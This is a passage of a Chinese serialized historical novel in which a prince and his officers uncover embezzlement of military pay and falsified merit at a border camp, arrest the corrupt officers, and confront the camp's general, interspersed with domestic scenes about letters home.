“柱哥,这高家少东家和傅领队看着是一个很好的人啊。”身边的同乡对刀疤男人说道。 可不就是好人么。说起来他们只是一群搭商队顺风车的伤残弱兵,给的银子并不多,按照一般的商队行事无非是到点到地方了招呼他们一声就完了,这还算是比较照顾人的商队。若是遇上不好说话的,商队的动向都要时刻关注着,省得被落下了。 这高家商队的傅领队不仅给他们安排了住处,饮食做了安排,连伤药都准备好了,可谓是妥帖照顾至极。这对他们好得都有点过了,俗话说“事出反常必有妖”,太好了反倒让人心生不安疑虑了。今日这商队的少东家高公子更是亲自过来探望他们,让他们的心情愈是惶恐不安了。 他们的籍贯都是江都境内的,又在永定大营中从军多年,高家的名声自然也是听说过的。那可是真正的大族高门,即便高公子并非高家主支所出,可那身份也不是他们高攀得起的,如今竟对他们这群伤兵如此礼遇厚待。虽然高公子自己说“自小习武、向往战场杀敌,仰慕忠勇义气之士”,可身份之间带来的巨大落差终究让人诚惶诚恐、坐立不安。 “柱哥,我们能顺利回家么?” 更多的人是惶惶不安。 “会的。”刀疤男人敛起眸中的深思,再次重复道,“我们都会平安回家的。” “臣有负大王信任,未能完成大王嘱托之事,请大王降罪。”出了客店,行经一条偏无人的小巷,傅殷朝百里漾跪地请罪道。 百里漾托住了他下拜的手肘让他起身,微微叹息道:“他们处境如此,有防备之心属实正常。你已经做的很好了,至少他们都能够平安返乡,何罪之有。且以目前的情况来说,我们要查的事情也并非没有一点进展。永定大营里确实是存在克扣军饷以及冒领军功的问题,显然这群退下来的伤兵也是其中的受害人。” 贪墨贪污历来有之,人一旦抑制不住自己的贪婪之心,这类事情就不会少,以前有,以后也有,如今这世道更是如此。皇权在上,底下的臣子嘴里高喊着忠君爱国却不见得真有什么公忠体国之心,私底下手也没有少伸,钱也没有少拿。即便是军营也不能幸免,甚至情况还可能更严重,乃至一些人都形成了心照不宣的约定——一笔粮饷拨下来他们要扣掉多少的比例到自己手里、又是怎么层层分下去的。 这也是没有办法的事情,即使是皇帝有时候也要睁一只眼闭一只眼。官员的俸禄是定数,吃饱喝足养活全家是足够的,但混迹官场必然少不了应酬交际,平日里也少不了人情往来,这些都会产生额外支出。既有额外支出就必定要寻求额外收入,那钱从哪来呢?一些人开动脑筋之下就产生了一些捞油水的法子。 军营里也是如此,但聪明理智的人心中往往有一个度,一切按照这个度办事。他们很清楚一旦超过了这个度,坏了事,上面的人就不会对他们睁一只眼闭一只眼了。 永定大营里也有这么一个定数,百里漾也知道,它维系的是一群将领的利益。以前百里漾在江都的根基并不很稳固,褚之邑又做着定襄将军,这么些年来抵御离渊进犯、不使边境出大乱子,他是有功劳的,百里漾不好也没什么理由动他。 但如今情形不一样了,外有离渊虎视眈眈,随时可能大举进犯,永定大营里的问题就不能拖着不管了。若是因此影响了战斗力,后果是很可怕的。 可褚之邑也是老狐狸,他知道百里漾要来,早就生了警惕之心,这次的军功核算以及伤亡遣归抚恤做得滴水不漏,百里漾他们也查不出什么毛病来,可这里又确实有问题。 这次没有问题,那么上一次呢,之前的每一次呢?看那些退役伤兵的态度就知道了,如此的讳莫如深,就知道里面的事情绝对不简单。 “那人的过往经历查过了?”百里漾想起那个刀疤男人,问傅殷道。 傅殷回道:“此人姓薛,名季平,小名柱子,籍贯在江都怀郡乐原县平安乡,十八岁从军,如今二十六岁,伤退遣归前军职为什长。几月前离渊进犯,他所在的营奉命迎战,斩敌数人,右胳膊中剑损伤,不能再拉弓射箭,胸口中一刀,损伤了肺部,不能再作战,因而在此次遣归的名单之中。” “仅仅是什长么?”百里漾有点不可思议,以今日他对薛季平的观感的来说,此人至少是一个百夫长,没想到仅仅只是什长。 第107章 突破 傅殷也觉得那样的人不应该只是一个百夫长而已, 而现实情况就是薛季平是以什长的军职退役的。只是一个什长而已,哪怕他在此前抵御离渊的战事中奋勇杀敌立下了足以升上百夫长的功绩,可是他已经不能再上战场了, 只能退役,军功以遣归银折抵,自然就不会有晋升的机会了。 “大王,恐怕其中有内情。”傅殷当即就想到了冒领军功的可能。 军营之内,底层士卒唯一出头的方式就是军功, 而军功往往是要累积的, 普通士卒很难一次便立下足以升迁的大功, 基本都是一次次立功后登记在军功簿上,攒够了之后就看军营中有没有空缺再补缺。军营之中军功登记由专门的功曹负责, 这里面又涉及到军功认定的问题。而军功计算是有标准的,一般来说由功曹来核准, 功曹就相当于掌握了核准军功的权力。 这段日子以来,傅殷在永定大营中转来转去, 时不时与一些兵将说话, 有听他们抱怨过军营里的一些事情, 其中就有功曹刁难少记军功的事情。他们好不容易拼死拼活立下军功,去到功曹那里若是不给点好处登记就没有那么顺利,遇到不好说话的就要刁难你。 这种情况之下,确实很容易出现军功登记混乱从而导致有冒领军功的情形出现。 “军营那边怕是很难有突破了,再看看这边吧。务必保证他们平安回到各自的家乡。”百里漾回望了一眼那家客店说道。 “大王宅心仁厚,臣必竭诚以奉。”傅殷为百里漾的行事顾虑而大受感动。这样的主君才是为人臣子想要真心侍奉的,他为自己能够遇到这样有仁义之心的明主而庆幸,更加下定决心要办好此事。 傅殷思来想去,此事的突破口还在那些伤兵身上, 尤其是那薛季平。他要如何取信于薛季平,让其愿意与他和盘托出? 百里漾不知道傅殷心里的打算,他要回永定大营里。出来太久,不仅是己方的人不放心,就连褚之邑那边的人若是发现他跑来远宁城也不会放心。 一行人出城,骑马按照原路返回。 快回到永定大营的营门前,远远的便看见一群人在营门前迎候,为首之人不是褚之邑和崔栋是哪个。百里漾下马,崔栋先一步迎上来,两人视线对视,百里漾便明白自己跑去远宁城的事情被褚之邑他们知道了。 “大王千金之躯,出行怎可随意。此处不比郡城,离渊随时可能来犯。为大王计,为江都计,大王出行都不应如此草率。”褚之邑不愧是出身褚氏,说话就是好听,听着处处是为百里漾考虑,为他的出行担忧,实则却是怕他乱跑免得撞见了什么不该见到之事。 这次百里漾事先没有打招呼就去了远宁城,收到消息后一些人就慌了。永定大营的背后就是远宁城,军营之中不少将领可是在城里另有一个“家”的。 百里漾自然不会在意褚之邑说的话,反手给他戴了一顶高帽,“有将军率领永定大营驻守在此,本王有何可惧?” “此处是边境,大王身系江都百姓,如何谨慎都不为过。若有出行,臣当派兵遣将护送。”褚之邑抱拳道。 “此事日后再说罢。”百里漾并不在这个问题上与褚之邑等人纠缠,也不提自己去远宁城看见了什么、有何想法,让一些人惊又慌又怕,但更多的是惊疑不定,但江都王不主动提,他们也不好主动出声去问。 这些人之中有些的表情管理差了点火候,百里漾看他们目光闪躲就知他们心中必然发虚,眸中冷笑,只说自己累了,在一群人的簇拥下往自己所住的大帐走去。 这说辞将这群人打发走之后,随后崔栋入得大帐之中来,见百里漾口渴正找茶水喝,上前倒了一杯奉与他,又说起褚之邑那些人,“你出去后我假装在你帐中议事,却没能瞒他们多久,褚之邑那些人就知道你往远宁城去了。你是没有瞧见那些人着急忙慌的可笑模样。” 越是这样就越有问题。他们怕被撞见了什么见不得人的东西,也怕被查,失去现有的利益和权位。 “军营之中人多口杂,说不得到处都是他们的眼线,消息泄露只是时间问题。”百里漾虽然对此早有准备,但依旧是忍不住皱眉。经此一事,他以后在边境这边的行事、一举一动更只会备受关注,再想做什么就更不会容易了。 他来边境更多的是为了革除一些边防上的弊病,但现在的问题是弊病是显露出来了,但他们没有找到进入的切口,也谈不上掌握了什么切实的证据。什么都没有,也就什么都不能做。哪怕他们心知有些人、有些事是确实存在问题的。 “暂且先如此了。”百里漾凝眉深思后放开,“如今最重要的是对外,对内在没有出现大纰漏的情况下强行动作弊大于利,只会得不偿失。” 崔栋也明白这个道理,只是看着那些人洋洋得意着一副可恶的嘴脸日日在他们面前晃荡,内心实在不甘。可他更知道大局,大局在前,其他的都要往后面放。 “如今你我在永定大营之中就如同监军,所有的魑魅魍魉都得藏着掖着,一旦见光必死无疑,那些人就是知道这点才收敛起来不敢作妖。”百里漾清隽的脸上尽是冷然,“这种时候谁敢冒头、谁露出马脚就是必死,褚之邑不会出来保任何一个人。” 真要出了事,明哲保身尚且来不及,还想着去捞人,是有多不怕自己会被牵连进去。 这样的局面也并非不好,至少能够一直收紧他们的神经,让他们安安分分,集中所有资源力量投入到可能到来的战事之中。 崔栋冷笑了,“他们不是喜欢盯人么?接下来的这段时间就让他们也尝一尝被人盯着的感觉。”看他不盯死他们。 比起那些人只敢在暗中狗狗祟祟地盯着他们的动向,换成他们就是明晃晃地盯,明面上都可以直接凑到对方的面门上,至于暗地里的,就让那些人猜去。 想到后面那群人都要夹着尾巴做人,崔栋心情好了许多,抬眼看见百里漾摊开书简,提笔蘸墨,一副要写些什么的架势。他心中有一种奇怪的预感,不由问道:“你这又是要写什么?” “家书啊。”百里漾理所当然道,“我们出来时日也不短了,远隔两地,家中无从知晓我们的情况,总要传些书信回去好让她安心。” 明明是很正常的两句话,崔栋偏偏从里面听出了几分缠绵缱眷的意味。但这不是重点,重点在这。他眨巴眨巴眼睛,声音有点颤,“你不会经常写家书回去吧?” 啊,这话问的。 百里漾也惊了,“你没有写么?” 他们出来都快两个月了,崔栋该不会只送了一封家书回去吧,就是头先报平安那封。 两人的目光对视片刻之后,一切都在不言之中。崔栋的面色僵硬了,他僵硬地朝百里漾行礼告退,几乎是同手同脚地走到帐门,突然身体跟被拧紧了发条一瞬间松开似的猛然冲出去回了自己的营帐。 不用想,他肯定是回去写家书去了。 只是,快两月了崔栋才写回去第二封家书,卢氏也不知道作何感想。更要紧的是,以卢氏与颜漪的关系,两人作为表妯娌,平时一定是时常见面说话的。万一卢氏说起崔栋久久家书不至之事,而颜漪这边隔三差五就收到一封来自百里漾的书信。两相对比之下…… 现在只能祈祷颜漪和卢氏没有经常对家书的“账”了。 这边崔栋着急忙慌地补家书,而另一头身在江都城中的卢氏确实在与颜漪说这家书的事情。卢氏看着庭中风吹叶落,脸上被风吹得寒凉,一边收紧了领口不让风灌进来,一边说道:“入了十一月,这天可是冷得厉害,昨夜尤甚,瞧着似乎有下雪的迹象。江都都这般冷了,也不知道赤岭郡那边如何?听说最冷时可遍地结霜,河流冻结,可在冰面上策马奔驰。” 江都的气候与湛京还是有很大不同的,气温转冷是很突然的事情,一夜之间便冷得厉害。骤然变化的气温落差让前来江都仅几月的卢氏有些不适应,好在都尉府中大多数人都是江都本地人士,应对迅速妥帖,这才免了卢氏受寒生病之苦。 “边境那边似乎更荒芜些,天寒地冻,哪怕不下雪,夜里也有霜冻。听说若是夜间不及时给作物覆上一层厚实的遮盖,第二日便极容易被冻坏。”颜漪手捧着热茶,望着庭院里挂不住树叶而显得光秃秃的树梢目光却在下一瞬游离,显然她也是顺着卢氏的话想到了远在边境的百里漾。边境那里只会更冷,也不知道那人是否做好了保暖,有没有生病。 分离快两月,颜漪差不多每隔十日就会收到一封百里漾亲手所书的书信,信上写的内容大差不差,基本上都是写他最近这段时日做了些什么,发现了什么觉得有趣的事物,如果是花草植物会折下一并送回来,如果是动物便在书信中生动讲解它是如何有趣的。当然偶尔也会夹带一两句永定大营里的事情,言语不多,但也让颜漪看出他在边境的进展并不顺利,好在局势还在控制之中的深层含义。 第108章 捉拿 百年世族, 树大根深,虽遭挫折而一时萎靡,但只要尤有根系在地, 便不是轻易能够拔除的。僵而不死,依旧在想方设法地积蓄力量等待卷土重来的那一日。偏偏它扎根在江都的土地上,吸取的是江都的养分,背地里却给隔壁输送养料,还要时不时跳出来捣乱一波, 着实令人厌恶。 颜漪能够理解如褚氏这样的世族想要回复到当年世族巅峰时的情形的急迫心情, 曾经有过那样绚烂辉煌的荣光又如何能够接受如今这巨大的落差。但褚氏过于迫切了, 他们也选错路了。在当年的废皇子事件之后还这么火急火燎地搭上另一个皇子,无疑是当今所不能容许的, 所以褚氏就有了今日进退两难的局面。 局面如此,褚氏无法破局, 也只能一条道走到黑了。但如今横亘在百里漾面前的褚氏已然成为了一个大麻烦,是必须要进行清除的。可褚氏虽从前朝到如今的大衍几十年的时间已经被从朝堂打落到地方来, 对于朝堂的影响力已不复当初, 可怀郡是他们的大本营, 他们据巢以守、再图起复,要打掉也不是朝夕之功。 百里漾此去边境,为稳大局,主将不换,意图更在修剪枯枝烂叶。颜漪此前也留意过永定大营这些年抵御离渊的过往功过,败绩虽有,但总体是功大于过的。由此可见,抛开立场问题不谈,至少褚之邑这个定襄将军做得是称职的, 永定大营在他的掌管之下确有问题,但水至清则无鱼,其他军营的主将也不敢拍着胸脯保证自己主掌下的军营一点问题都没有。 有小问题,大局无亏,这已经足够了。 可眼下从百里漾传回来的书信来看,他想要为永定大营修剪“枯枝烂叶”的意图都因为受阻而难以实现了。 “以前也听闻祖父他们说过一些,遇到暴风雪时还要提前将马棚用棚草麻布包裹严实,必要时还要将马匹的四肢都包裹起来,省得冻坏了不利于行军。”卢氏觉得眼下已然极冷,却想象不出祖父曾经说过的严寒到了何种地步,免不了担忧起远在边境的丈夫崔栋,“之前不曾想过会这般冷,收拾的衣物也不知能不能御寒?” 颜漪看着卢氏一副忧虑的模样,甚至卢氏已然在考虑要不要遣人往永定大营去给崔栋送去厚实的衣物了。她当即意识到了一个问题,卢氏似乎并不清楚崔栋在边境的情况究竟如何。而发生这种情况只有两种可能,要么是送回来的书信未有提及,要么就是……没有书信回来。 没有细想,直觉告诉颜漪,情况极有可能是第二种。 因为不送家书这事,以崔栋为人的粗放,是很有可能发生的。 “边境虽冷,但目前亦没有下雪结冰。不过到了十二月,天气必然是更冷的。”颜漪看着卢氏的眼睛,微微笑着说道,“日前范国相等人正商议着往边境运送犒赏物资之事。” 天气愈发冷了,江都边境如此,越往北的离渊只会更冷。往年离渊都会趁着天气暖和的时候南下跑来劫掠一波物资后便率领部众迁徙到水草丰美之地过冬。这也意味着离渊不会在冬季发动大规模进攻。离渊人是彪悍善战不错,可他们到底也是血肉之躯,即便他们能够扛得住严寒冰冻,可是马儿却扛不住。本来离渊与大衍对战的一大优势就是骑兵,冬季一到,这优势大减,离渊人再怎么样都不会选在这个时候南下进犯。 边境将士戍边辛苦,之前又因为抵御离渊来袭狠狠打了几场,如今年关将至,将士们也要过冬,正是时候犒赏,激励军心。这也是江都每年的惯例了,范国相也在数日前将犒赏事宜的安排呈给颜漪过目。 “若是冬日无战事,那边关将士们也可过一个好年了。”卢氏由衷欣慰道。她面上满是欣然,内心却是咬牙切齿。当然,这是对崔栋的。 卢氏与颜漪没成婚之前是圈子之中相互认识的手帕交,成婚之后还是表妯娌,两人处了这么多年的关系,此番虽然没有明说,但目光对视之间已经得到了自己想要的答案。 气死她了。 亏得自己在家中半夜睡不着觉担心崔栋那厮在边境是不是冷了、受伤了,结果那厮连封书信都不知道写回来给她。再看看人家大王。哪怕王妃没有明说,她也猜到了大王必然是时常有书信从边境送回来,否则王妃不会连草地上植株结冰是何情状都知晓。 大王都知晓未免家中妻子惦念而时时写书信回来,崔栋那厮就跟完全忘记了自己家中还有一个妻子似的。不行,果然还是货比货得扔,人比人气死人。 这时候要尽量心平气静,人不在眼前再生气也无济于事。卢氏面上言笑晏晏,手底下已经在扭着帕子想着等崔栋回来要怎么收拾他了。 “冬季来临,离渊远迁,至少要到开春后才能回来。那么,他们岂不是能回来过年了?”卢氏默默决定把账压下再算之后,猛然间想到这一茬。 “他们”自然指的就是百里漾与崔栋。 “应是能回的。”颜漪看着卢氏眼睛中因惊喜而绽出的光亮,不由得受此感染,心中也存了盼望与欢喜。分离两月,身边某个人的气息渐渐淡去,醒来身侧也没有他的存在。对于当了几个月“抱枕”的颜漪来说还颇有些不习惯了。 江都偏南些,冷是冷,下雪却还要等几日。边境这边却是在五日前就开始下雪了,一开始只是一点一点细散的雪花飘下来,还没等落地就被风吹散了。人手一接,落在掌心里直接就被掌心的温度热化了。第一日第二日皆如此,可是到了第二日夜里,白色的雪花从沉沉的天空中纷纷扬扬落下,越来越多,雪花也愈来愈厚,愈来愈大片。这雪落一整夜都不带停歇的,翌日晨起,掀开帘帐一看,外面的世界尽是一片白茫茫。 “好冷好冷,昨夜里真是下了好大一场雪。今早掀开帘帐,一股冷气直扑我脸上,冻得我直打哆嗦,入目尽是一片白茫茫,那光都有些刺眼了。”崔栋搓着手小跑进来,说话间嘴里还在呼出白气,连忙凑到帐中架起的火堆旁烘手取暖,也驱散身上的寒气。 “往后还会更冷。将士们御寒的衣物和被褥等都得准备齐备,马匹的防冻也要做好。”坐在书案后的百里漾正在批复一道请调物资的奏请单子,朱砂笔勾勾划划,忽又顿住,“冬日的操练虽说不可懈怠,但亦要多采购些布料回来绑手,免得冻伤了。” “天一冷,手脚都是僵的,做什么都不方便。”崔栋如今都是跟着军营一起操练的,雪一下,气温骤降,不仅冷得气流流动都变得缓慢了,人也冻得变慢了,感觉像个肢体僵硬的木偶。他露齿一笑,“好在这般冷也不是没有好处的,至少离渊人也冻得不行。” 等到了十二月,河流结冰,草木不生,离渊就算是想南下进犯也是有心无力了。他们暂时可松一口气,可以腾出更多的时间整顿内务。 “最近那些人可是乖觉得很。”崔栋冷笑,“这段时日我在永定大营之中听得最多的就是诸如‘今日饭食里的肉不再是沫沫’、‘冬衣也比以往厚实多了’、‘饷银竟如实发下了’此类的话。” 百里漾:“他们眼见我们来势汹汹,自是也怕被捉了阵前祭旗。” 最近这段时日的永定大营包括后方的远宁城皆是一片风平浪静,甚至可以称之为一片祥和。这样的现象确实不错,没有人闹事作妖。但愈是如此,百里漾的心便愈是下沉。他在此处那些人不敢动,那他若是离开边境回江都呢? 他若一走,那些人就故态复萌,那他来这趟的意义何在? 崔栋也意识到了这一点,也在为此事发愁。 他们没有证据,想查却没有一个合理的切入点。百里漾江都王的身份对褚之邑等人是一个极大的震慑,但也因此有了一些限制——他不能无凭无据、仅凭一些捕风捉影的言论就降罪戍边的将士,这样做只会让他拥有“昏主”的骂名。 “此前不是让傅殷暗中去调查伤兵的事情了么,可有什么进展?”崔栋忽然想起了傅殷这么一个人,问道。 “先前是有些进展,但……”百里漾微微叹息道。 之前他在远宁城见到的那群退役的伤兵,此刻应该是已经随高家商队踏上了回家的路了。仅一日的功夫,傅殷想要取信并说服那些伤兵怕是很难。之后的几日百里漾也没有等到傅殷来报,只能说以那群伤兵作为突破口的路子是断了。 正当百里漾可惜“此路不通”时,帘帐被掀开,随行护卫的侍卫入内禀报,“禀大王,傅刑狱在外求见。” “傅殷?难道是有什么进展了?”崔栋惊道。 百里漾也是这么想的,当即道:“快让他进来。” “臣傅殷拜见大王。”傅殷进帐叩首行礼,行动有些不自然,在百里漾与崔栋希冀的目光中说道,“禀大王,伤兵营之事有进展了。” 两人闻言皆是一振,百里漾更是从书案后站起身来,目中光亮大作,“详细说来。” …… 五日后,一人跑到褚之邑的大帐外着急忙慌地求见,在获准进入后差不多是冲进去的。 第109章 处理 “急急忙忙的是要做什么?” 那人进帐后单膝跪地, 满头大汗,面上满是惊慌,报道:“将军, 大事不好。崔都尉领着领着一队人往罗营将处去,将他擒下。不只他,还有好些我们的人也被一并拿下了。” 褚之邑从案后惊起,“可有说是何缘由?” “说是贪墨军饷,冒改军功以扶植亲信党羽。” 褚之邑只觉得脑门青筋一阵抽动, 目中暗光如黑水翻涌又压下, 大步走出帐外, 报信之人连忙跟上。 “崔都尉,你这是何意?” 褚之邑赶到时, 崔栋正在抓人。目光扫过那些被五花大绑之人的面孔,他褚之邑心下一沉, 面上却是故作不解。 “奉大王之命,抓拿犯将犯官。这人有些多, 我人手不够, 褚将军若有暇, 不妨搭把手。”崔栋手里拿着一本册子朝褚之邑扬了扬,露出一个堪称灿烂的笑容,眼睛微眯又显得有些不怀好意,“不过我猜褚将军大概是没有空帮我的。” 那册子分明就是抓捕的名单,一晃眼褚之邑就看到了上面分布紧凑的黑色字迹。 崔栋胆敢在军营之中如此肆无忌惮地公然抓人,显然是手中掌握了确凿的证据,不然不会如此。且崔栋说的没有错,军营里出了这么大的纰漏,身为永定大营的统兵之将, 不管他有没有掺和进这些事情里去,他都负有御下不明、失察之责。他现在确实没有空,他的当务之急是前往江都王的大帐请罪。 褚之邑眸光深深地看了一眼这些被抓捕的熟悉的面孔,没有管他们喊求救命的声音,直接转身朝江都王所在的大帐大步走去。 百里漾此刻就在大帐之中,似是知道褚之邑会来,也像是等候已久。他端坐于书案后,对于褚之邑匆匆而来从一开始的疑惑到随后了然,却不开口说话,只是静静注视着褚之邑。 褚之邑看着愈发神色莫辨显得威严难测的百里漾,咬了咬牙,单膝跪地说道:“军营本该乃军纪整肃之地,眼下却藏污纳奸,臣身为主将,有御下不明、失察渎职之罪,请大王降罪。” 百里漾看着俯首下拜的人依旧是好一阵子都没有说话,大帐里一时沉寂无声,只有火堆里堆叠的木头因燃烧而偶尔爆发出的细小的噼啪声。 不知过来多久,褚之邑听见上首传来脚步声,人在向他靠近,随后是声音,“将军可知晓他们所犯何罪?” “臣,略有耳闻。”褚之邑沉默后选择了一个谨慎的回答。 果然是沉得住气。 百里漾眸光微深,重新折回书案后坐下,叫起褚之邑,指着书案上垒着的书简,微抬下颔,说道:“略有耳闻?那便是不知晓。这些书简上罗列的都是那些人的罪证,将军不妨过来看看吧。” 褚之邑似有迟疑,终是上前来翻看这些罪证,越看越是心惊。一方面是心惊他手底下的人竟在他的警告诫令之下还不知收敛,一方面则是惊于江都王竟然在他们察觉不到的时候查到了这么多东西,一桩桩,一件件,有些连他都不知道。 贪墨粮饷,篡改、冒领军功…… 现在最重要的不是江都王如何查出的这些人、这些事,而是被查出来的这些人大部分都是与褚氏有关联之人,有几个甚至是他一手提拔起来的。这些人如果被拿掉,无疑会让他在永定大营的根基受损。而将官出缺,江都王必定会选任其他倾向于王宫而非褚氏的人上来。 可即便形势亦如此糟糕,他却不能为他们求情,那些人保不住,也不能保。 褚之邑眸色深沉,心绪几度翻涌后便有了取舍。他再次跪地请罪,“臣有负大王信任,自请辞去所任之职。” —————— “褚之邑来过了?” 等崔栋忙完回来已经是三个时辰之后了。大冬天的去抓人给他热出了一身的汗,两边脸颊都发红发热,进帐后连忙给自己找水喝,杯子用着不解渴直接抓起水壶就往嘴里灌,喝了大半壶后才想起来,问道。 “来过了。” 崔栋眉峰上挑,“他可有说什么?” 他今日拿的这些人可有好多与褚之邑有关系的,尤其是那罗营将,可谓是褚之邑麾下第一走狗。如今这些人几乎被他一网全兜了,褚之邑心里怕不是又气又急,不得想想办法捞人。 百里漾将褚之邑说的话说了。 “引咎辞职?”崔栋短促地笑了一声,声音从上下磨动的齿间出来,“当真是老狐狸一只,心也够硬。那些人他等于是全部放弃了。” 永定大营一下子闹出了这么大的事情,牵扯进去的将官不少,褚之邑身为掌营主将当然难辞其咎,换作其他时候少说也是一个引咎辞职。但眼下不行,褚之邑也知道即便是他手底下的人东窗事发最终也不会牵连到他多少,他定襄将军的位置总还会保得住的。 某种意义上来说也算是有恃无恐了,这可真是让人恨得牙痒痒啊。 褚之邑不能换,如今的永定大营之中还没有谁比他更熟悉离渊骑兵的打法,也暂时没有比他还要胜任定襄将军的人选出现。今日擒住的那些人有十数人之多,其中包括了两名营将、四名校尉、千夫长以及功曹若干,他们所犯之罪主要集中在贪墨以及篡改军功两个方面,两者皆沾占了大多数。 从江都拨到永定大营的粮饷、犒赏,罗营将这些人先拿走一个数,余下的才下发到其余的将士们手中,此时将士们得到至少要比原定应得的份额少两成,有时候是少三成,但他们再是贪婪再是想伸手也不敢超过这个比例。很显然,这个“三成”是某人给他们定下的底线,不能逾越。 底线是设了,可总有人是忍不住贪婪之心的。 前几月离渊大规模来袭,永定大营请调粮草物资,江都这边不敢懈怠,紧急调派了几批过去。外敌来犯,情况如此险急,这些人依旧是按照“惯例”扣除了三层留在手里,剩下的再发放给那些在前线浴血奋战的将士们。然而真实的情况且不仅此而已,那罗营将更为贪婪,他多做了一笔账,也多克扣了一成用以中饱私囊。 那些被罗营将昧下的粮草物资被他偷偷藏在远宁城之中,再与内地过来行商的商人勾结,将物资改头换面一番充作普通的商品低价卖给商人。商人并不直接支付给罗营将金银,而是写一封契书作结,载明交易的货物、价格,一式两份,日后罗营将可凭借此契书前往商人处兑换金银。这些契书就藏匿于罗营将暗中在远宁城购置的宅院之中。 那套宅院明面上还不是罗营将自己居住,而是他在远宁城之中勾搭了一个寡妇。两人是暗中秘密往来,几乎没有什么人发现他们勾搭在一起了。 不只是他,那些牵涉其中的军将也有许多将贪墨所得的好处藏匿在远宁城之中,等着寻找机会将金银再转运回各自老家等安全之地。 这远宁城俨然已经成为这些贪墨之人藏污纳垢的老巢了。 永定大营之中贪墨都已然成为“惯例”了,身为一营主将的褚之邑不会不知道,甚是这个“惯例”还是他睁一只眼闭一只眼之下才形成的,乃至于那“三成”的底线都是一群人心照不宣之下的默契。而这些贪墨出来的数额维系的自然也是褚之邑那一派人的利益,否则褚之邑为何要装作视而不见。这种事情一旦东窗事发,他都是要受到牵连的,就如同现在。 崔栋骂褚之邑老狐狸也是因为如此,因为褚之邑在整个贪墨的事件里面很干净,他干净到一文钱都没有拿。从目前百里漾查到的证据来看,整件事情他都没有参与进去,他在其中担任的角色甚至可以说是一个被底下人联手欺瞒的主将而已。 真要论罪,褚之邑也只有御下不严、失察糊涂之罪,仅凭此是罢免不了他这个定襄将军的。倘若百里漾要一意孤行,廷议那关就过不去,更别说还会被人在朝堂之上弹劾。 可没有拿钱就一定是无辜的么?自然不是。 褚之邑出身褚氏,褚氏虽然也在走下坡路,但瘦死的骆驼比马大,论富裕在江都这个地界还没有什么谁能够比得过褚氏。贪墨粮饷得来的钱,褚之邑还真看不上,也没有必要为这么一点钱让自己名声受损。但他没有拿,反倒是最可恶的。 褚之邑默许了这些事情的发生,钱虽然没有拿,但是最终维系的却是围在他身边的那群人的利益和关系。相当于是拿了江都派发下来的钱和物资成全了他的人情和利益。 这么一想,百里漾的牙也痒痒了。 “罢。你拿我的手令去调兵,按照这上面的名单,拿人、抄家,一个都别放过。”百里漾扯过一张空白的帛书,提笔“刷刷刷”地就在上面写调兵令,在末尾签章,“敢贪我的钱,乱我军心,碍我边防大计,一个个的都给我洗干净脖子等着。” 远宁城为作为边城,城中守将与兵卒也不少,永定大营搞的这些事情,远宁镇守的军将很难说知不知道,又有多少人掺和其中。他们这次要去拿人抄家的,为防引起什么动荡,兵派足了总没有错的。 “臣领命。”崔栋双手接过调令,郑重拱手作礼后退出了大帐。 崔栋在军营里调兵遣将的动静不小,他有调令,很迅速地集结了兵马,一大群人浩浩荡荡地朝着远宁城开拔。这样的动静自然瞒不过褚之邑,他不动却有人着急,此刻就在主将营帐之中求他施以援手救命。 “将军,他们定然是奔往远宁城去了。” “远宁城那边恐怕也保不住了。” “让江都王和崔栋这么一搅,大好局面都没了,若是江都王再借着此事大肆清除我们的人安插上他们的人,日后我等都要受到掣肘。” “将军,不能坐以待毙啊,必不能让他们再如此搞下去了。” 大帐里面一堆人,七嘴八舌地说起来吵吵嚷嚷的,到最后都要褚之邑施以援手。 “够了。”上首的褚之邑让他们吵得心烦,狠狠拍了一下桌案,让这帮人被震得齐齐静了下来看向他,躬身拱手等他发话。 “不能坐以待毙?”褚之邑冷厉的目光扫过这些人,被扫过之人皆将眼睛垂下,不敢与之对视,“你想干什么?你能干什么?别忘了,他是江都王,你以为他只是一个乳臭未干的毛头小子么?他是椒房所出,是当今的皇五子,更是你我的君。难不成你是要造反么?”- 作者有话说:更新了。 第110章 破门抄家 褚之邑最后斥骂道:“我看你们是在这永定大营里得意忘形惯了, 忘了自己的身份,更忘了什么事情该做、什么事情不该做。” 一番疾言厉色下来,帐中之人一个个都垂着头, 缩了回去,不敢与褚之邑的目光对视,哪里还有此前着急慌张、忿忿不平乃至大放厥词。 “如今这个局面,难道不是你们做了事、遮掩不及使得江都王追查才落了把柄在人家手上造成的么?”褚之邑一想到自己在永定大营经营多年的局面这次几乎要被江都王搅黄搅翻,自己被夹在中间进退不得, 心头的怒火一直在燃烧, 甚至越烧越旺, 偏偏这帮人还有脸过来让他施以援手,一腔怒火便如火山爆发般喷涌。 “此前我是怎么与你们说的?伸手就算了, 伸出去一截不算,还想着伸出去更多。伸出去一只手不算, 还想着伸出去第二只、第三只,想尽可能地捞到自己袋子, 也不看自己吃不吃得下。如今被人拿了把柄也是自己做事不谨慎, 太贪心所致。他们是咎由自取, 你们相救也不看看自己能不能救得了,别到时候人没救出来还把自己给搭进去了。我言尽于此,自己好好回去想想值不值当吧。” 褚之邑将人一通骂完之后,直接送客。 这些人还能好端端地站在这里找褚之邑求情,说明他们并没有牵涉进去或者说没有太大的牵涉,之后就算有处置大概率也只到罚金这样的程度。他们没有在捉拿之列,可那些被捉拿的人都与他们有着不同程度的亲近关系,有些是袍泽情谊深厚,有些则是殷勤关系, 不管如何或多或少都是有一些关系的,不愿意眼睁睁看着那些人就这样被带走论罪。 因为他们深知那些人触犯的是什么军规律法,真要被问罪了,被捉拿的绝大部分少说都是一个死罪,甚至还要牵连到家人。他们不愿意那些人落到如此凄惨的下场,就想着能不能说动褚之邑以及他背后的褚氏运作一番,给那些人求求情,怎么也要保住一条命。 可他们入了主将大帐之后,一群人说起江都王来到永定大营之后自己不得不夹紧尾巴做人的憋屈,如今自己的袍泽亲友还被捉拿去问罪,又惊又怒,又气又急,所有的情绪一下子激涌上来,又有身边如此多的人一起“同仇敌忾”,脑子都被挤到角落里,言行都完全被脑壳里面的浆糊控制了。 直到褚之邑一番冷厉的斥骂如同一盆冷水当头泼下来,他们这才清醒了。 这会儿出了大帐,叫呼啸的北风一吹,浑身的热血霎时间冷却下来,脑子也跟着回到了原位,挤走了那些黏糊糊的浆糊。 回想起自己方才在大帐里说了什么话,浑身的血液都有一瞬间的凝固。 他们那时,是疯了不成,那样的话也说出了口,还去鼓动将军。 局面已经如此不利了,他们竟还上赶着想给江都王递刀。 这些人的脑子终究还是清醒了过来。 